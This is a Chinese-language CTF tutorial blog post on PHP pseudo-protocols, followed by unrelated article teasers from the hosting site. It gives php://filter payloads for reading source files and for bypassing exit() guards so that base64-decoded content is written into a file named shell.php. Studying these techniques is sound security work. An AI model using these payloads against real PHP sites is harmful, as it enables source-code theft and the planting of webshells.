- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
(133条消息) PHP Filter伪协议Trick总结_php伪协议rot13的用法_swtre33的博客-CSDN博客 。
php死亡exit()绕过 - xiaolong's blog (xiaolong22333.top) 。
在CTF比赛中,常常会使用PHP伪协议来进行一些有趣的挑战。PHP伪协议是一种特殊的URL格式,用于在PHP代码中执行某些特定的操作。以下是一些常见的PHP伪协议:
1. `php://input`: 该伪协议允许将HTTP请求的主体作为输入流读取,通常用于读取POST请求的数据.
2. `php://filter`: 通过该伪协议可以对输入输出进行过滤。常见的用法是进行base64编码和解码,例如`php://filter/convert.base64-encode/resource=index.php`.
3. `data://`: 该伪协议用于将数据嵌入到脚本中,常用于在代码中包含一些二进制数据或特定字符串.
4. `expect://`: 该伪协议可以用于执行代码。在一些CTF挑战中,可能会使用该伪协议来绕过某些过滤或实现代码执行.
5. `zip://`: 可以用来读取ZIP压缩文件中的内容,语法类似于`zip://path/to/file.zip#file_inside_zip.txt`.
这些伪协议在CTF挑战中经常用于利用漏洞、绕过限制或进行特殊操作。然而,请注意在实际开发中避免使用这些伪协议,因为它们可能会引起安全风险.
在CTF比赛中, php://filter 是一个常用的PHP伪协议,用于在PHP代码中进行数据过滤和处理。它允许我们通过对输入输出进行过滤,利用PHP的输入输出流来执行一些有趣的操作。这在某些CTF挑战中可能会用到,通常是为了绕过限制、执行代码或读取敏感文件等,“php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取,获取源码”.
php: // filter/<action>/resource
<action> :表示要对数据执行的过滤操作。常见的过滤操作有:
read
: 读取资源数据,并对其进行过滤处理。 convert.<to_encoding>.<from_encoding>
:对数据进行编码转换。 string.<operation>
:对字符串执行特定操作,比如 base64 编码、URL 编码等。 <resource> :表示要进行过滤的资源,通常是文件路径或URL,resource是必选的选项 。
1 php: // filter/read=convert.base64-encode/resource=index.php 2 php: // filter/convert.base64-encode/resource=index.php #有时候read被过滤 3 php: // filter/read=string.rot13/resource=index.php #将字符用rot编码显示 4 php: // filter/read=string.touppe/resource=index.php #将字符大写显示 5 php: // filter/read=string.tolower/resource=index.php #将字符小写显示 6 php: // filter/read=convert.iconv.*/resource=index.php
以string开头对数据进行字符串对于的处理常见的有 rot13 、 toupper 、 tolower 、 strip_tags..... 。
rot13(回转13)原理上来说是对26个小写字母以及26个大写字母进行操作,对原有字母的ASCII值 + 13或者ASCII-13,然后找到计算后的ASCII值对应的字母。通过这样的规则将一个字母替换为另一个字母,从而达到 加密 的目的.
而strip_tags是对数据流进行 strip_tags 函数的处理,该函数功能为剥去字符串中的 HTML 、 XML 以及 PHP 的标签,简单理解就是包含有尖括号中的东西.
rot13,与strip_tags常用于死亡绕过 。
主要含有三类,分别是 base64 的编码转换、 quoted-printable 的编码转换以及 iconv 字符编码的转换。该类过滤器以 convert 开头.
Quoted-printable
可译为可打印字符引用编码,可以理解为将一些不可打印的
ASCII
字符进行一个编码转换,转换成
=
后面跟两个十六进制数,例如:
file_get_contents ("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w". chr (12 )); # 输出为m1sn0w=0C
iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.<input-encoding>.<output-encoding>或者convert.iconv.<input-encoding>/<output-encoding>,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码,例如:
file_get_contents ("php://filter/read=convert.iconv.utf-8.utf-16/resource=data://text/plain,m1sn0w". chr (12));
死亡绕过的常见种类 。
1 file_put_contents ( $filename ,"<?php exit();". $content ); 2 file_put_contents ( $content ,"<?php exit();". $content ); 3 file_put_contents ( $filename , $content . "\nxxxxxx");
这里有两个可控的变量,$filename和$content,发现在我们写入的后门会立刻被exit()函数退出,我们得想办法进行绕过,以下是一些常见的绕过方法 。
这种绕过方法利用了base64的特性,我们在用base64编码时3个字符组,不足则使用=补足,而在解码时4个字符一组,同时base64在解码时会首先将不属于base64编码范围的字符置空再编码, 。
等价于 。
preg_replace('/[^a-zA-Z0-9+/=]/i'," ",$content) 。
对<?php exit();进行解码后只剩下了phpexit这里只有7个字符,base64以4个为一组的解码方式我们需要再$content的首部加一个占位符防止后面的base64出现乱码payload如下 。
$filename=php://filter/write=convert.base64-decode/resource=shell.php
$content=aPD9waHAgcGhwaW5mbygpOz8+
file_put_contents($filename,"<?php exit();".$content
);
写入如下:
此绕过的缺点是无法去掉<? ;>等特殊字符 。
成功写入 。
局限:如果开启了短标签的话,前面内容就会解析,导致代码错误 。
1 $filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php" ; 2 $content = "?>PD9waHAgcGhwaW5mbygpOz8+";
strip_tags先把php标签过滤掉,再用convert.base64-decode对我们的输入解码写入后面 。
限制: string.strip_tags 在php7.3.0以上的环境下会发生段错误,从而导致无法写入,php5则不受影响 。
file_put_contents ( $content ,"<?php exit();". $content );
这种情况下我们输入的文件名和拼接的内容是相同的,在这种情况我们可以利用php//filter在遇到不认识的协议后只出现警告,进行写入,由于base64解码需要特定的字节数所以无法用base64绕过 。
。
。
。
。
最后此篇关于浅谈php伪协议的运用的文章就讲到这里了,如果你想了解更多关于浅谈php伪协议的运用的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
服务架构进化论 原始分布式时代 一直以来,我可能和大多数的人认知一样,认为我们的服务架构的源头是单体架构,其实不然,早在单体系
序列化和反序列化相信大家都经常听到,也都会用, 然而有些人可能不知道:.net为什么要有这个东西以及.net frameword如何为我们实现这样的机制, 在这里我也是简单谈谈我对序列化和反序列化的
内容,是网站的核心所在。要打造一个受用户和搜索引擎关注的网站,就必须从网站本身的内容抓起。在时下这个网络信息高速发展的时代,许多低质量的信息也在不断地充斥着整个网络,而搜索引擎对一些高质量的内容
从第一台计算机问世到现在计算机硬件技术已经有了很大的发展。不管是现在个人使用的PC还是公司使用的服务器。双核,四核,八核的CPU已经非常常见。这样我们可以将我们程序分摊到多个计算机CPU中去计算,在
基本概念: 浅拷贝:指对象的字段被拷贝,而字段引用的对象不会被拷贝,拷贝对象和原对象仅仅是引用名称有所不同,但是它们共用一份实体。对任何一个对象的改变,都会影响到另外一个对象。大部分的引用类型,实
.NET将原来独立的API和SDK合并到一个框架中,这对于程序开发人员非常有利。它将CryptoAPI改编进.NET的System.Security.Cryptography名字空间,使密码服务摆脱
文件与文件流的区别(自己的话): 在软件开发过程中,我们常常把文件的 “读写操作” ,与 “创造、移动、复制、删除操作” 区分开来
1. 前言 单元测试一直都是"好处大家都知道很多,但是因为种种原因没有实施起来"的一个老大难问题。具体是否应该落地单元测试,以及落地的程度, 每个项目都有自己的情况。 本篇为
事件处理 1、事件源:任何一个HTML元素(节点),body、div、button 2、事件:你的操作 &
1、什么是反射? 反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取自身的信息,并且可以操作类或对象的内部属性。 Oracle 官方对
1、源码展示 ? 1
Java 通过JDBC获得连接以后,得到一个Connection 对象,可以从这个对象获得有关数据库管理系统的各种信息,包括数据库中的各个表,表中的各个列,数据类型,触发器,存储过程等各方面的信息。
可能大家谈到反射面部肌肉都开始抽搐了吧!因为在托管语言里面,最臭名昭著的就是反射!它的性能实在是太低了,甚至在很多时候让我们无法忍受。不过不用那么纠结了,老陈今天就来分享一下如何来优化反射!&nbs
1. 前言 最近一段时间一直在研究windows 驱动开发,简单聊聊。 对比 linux,windows 驱动无论是市面上的书籍,视频还是社区,博文以及号主,写的人很少,导
问题:ifndef/define/endif”主要目的是防止头文件的重复包含和编译 ========================================================
不知不觉.Net Core已经推出到3.1了,大多数以.Net为技术栈的公司也开始逐步的切换到了Core,从业也快3年多了,一直坚持着.不管环境
以前面试的时候经常会碰到这样的问题.,叫你写一下ArrayList.LinkedList.Vector三者之间的区别与联系:原先一直搞不明白,不知道这三者之间到底有什么区别?哎,惭愧,基础太差啊,木
目录 @RequestParam(required = true)的误区 先说结论 参数总结 @RequestParam(r
目录 FTP、FTPS 与 SFTP 简介 FTP FTPS SFTP FTP 软件的主动模式和被动模式的区别
1、Visitor Pattern 访问者模式是一种行为模式,允许任意的分离的访问者能够在管理者控制下访问所管理的元素。访问者不能改变对象的定义(但这并不是强制性的,你可以约定为允许改变)。对管
我是一名优秀的程序员,十分优秀!